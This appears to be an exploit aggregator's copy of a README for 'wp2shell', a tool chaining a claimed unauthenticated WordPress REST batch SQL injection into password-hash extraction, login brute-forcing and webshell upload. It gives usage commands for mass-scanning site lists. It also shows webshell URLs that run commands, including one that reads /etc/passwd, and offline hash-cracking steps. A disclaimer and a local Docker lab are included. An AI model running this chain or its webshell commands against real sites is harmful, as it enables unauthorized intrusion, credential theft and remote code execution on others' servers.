Share
## https://sploitus.com/exploit?id=46404B2A-93D5-51B0-8C8E-C3D9FBA89EC7
# wp2shell

WordPress REST batch route-confusion blind SQL injection โ€” automated exploit chain.

**CVE-2026-63030 / CVE-2026-60137**

| | |
|---|---|
| Affected | WordPress 6.9.0 โ€“ 6.9.4 and 7.0.0 โ€“ 7.0.1 |
| Fixed | WordPress 6.9.5 / 7.0.2 |
| Sink | `author__not_in` SQL via desync'd `author_exclude` parameter |
| Auth required | None (unauthenticated SQLi) |

> **For authorized security testing only.**

---

## How it works

The WordPress REST API batch endpoint (`/wp-json/batch/v1`) allows nested batch requests. A double-nested desync payload shifts the internal `$matches` / `$validation` arrays, routing a crafted `author_exclude` value into the `author__not_in` SQL without sanitization. This gives unauthenticated blind boolean + timing SQL injection.

**Exploit chain โ€” 4 phases:**

```
Phase 1  Vulnerability check     batch marker probe + optional SQL timing
Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
Phase 3  Authentication          wordlist attack via wp-login.php
Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify
```

---

## Requirements

- Python 3.8+
- `aiohttp`
- `colorama`

```bash
pip install aiohttp colorama
```

---

## Usage

**Single target**
```bash
python wp2shell.py http://target.com
```

**Site list (one URL per line)**
```bash
python wp2shell.py sites.txt
```

**Site list + custom password file**
```bash
python wp2shell.py sites.txt -p pass.txt
```

**Known credentials (skip wordlist)**
```bash
python wp2shell.py http://target.com --user admin --password admin123
```

**Confirm SQLi with timing**
```bash
python wp2shell.py http://target.com --confirm-sqli
```

**No pretty permalinks**
```bash
python wp2shell.py http://target.com --rest-route
```

**Through Burp proxy**
```bash
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
```

---

## Options

| Flag | Default | Description |
|---|---|---|
| `target` | โ€” | URL (`http://target`) or path to site list file |
| `-p FILE` | โ€” | Password list file (one per line) |
| `--user` | โ€” | Skip wordlist, use this username |
| `--password` | โ€” | Skip wordlist, use this password |
| `--confirm-sqli` | off | Send active SQL timing probe after marker check |
| `--rest-route` | off | Use `/?rest_route=/batch/v1` (no pretty permalinks) |
| `--sleep N` | `3.0` | SQL `SLEEP()` delay in seconds |
| `--samples N` | `3` | Timing sample pairs for median calculation |
| `--timeout N` | `30.0` | HTTP request timeout |
| `--prefix PREFIX` | `wp_` | Database table prefix |
| `--proxy URL` | โ€” | HTTP/HTTPS proxy |

---

## Output files

| File | Content |
|---|---|
| `creds.txt` | `http://target=>user:pass` (plaintext if cracked, hash if not) |
| `webshell.txt` | Live webshell URL |
| `VULNERABLE.txt` | All targets where phase 1 confirmed vulnerability |

All files append โ€” results accumulate across runs.

**Using the webshell** โ€” append `?cmd=COMMAND` to the URL in `webshell.txt`:

```bash
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
```

---

## Offline cracking

If the wordlist misses, `creds.txt` contains the extracted hash:

```bash
hashcat -m 400 creds.txt wordlist.txt
```

Then rerun with the cracked password:

```bash
python wp2shell.py http://target.com --user admin --password 
```

---

## Local lab (Docker)

Spins up a vulnerable WordPress 7.0.1 instance for safe local testing.

**First run โ€” build volumes and install WordPress:**
```bash
docker compose up -d db wordpress
docker compose run --rm wpcli
```

**Subsequent starts:**
```bash
docker compose up -d db wordpress
```

**Stop:**
```bash
docker compose down
```

**Full reset (wipes all data):**
```bash
docker compose down -v
```

| | |
|---|---|
| URL | http://localhost:8080 |
| Admin | `admin` / `admin123` |
| MySQL host | `db` |
| MySQL user/pass | `wpuser` / `wppass` |
| Database | `wordpress` |

**Run exploit against the lab:**
```bash
python wp2shell.py http://localhost:8080
```

---

## Patching

Update to WordPress **6.9.5** or **7.0.2**. The fix validates the batch route before dispatching nested requests, preventing the desync that exposes the SQL sink.

---

## Legal

For use on systems you own or have explicit written authorization to test. Unauthorized use is illegal.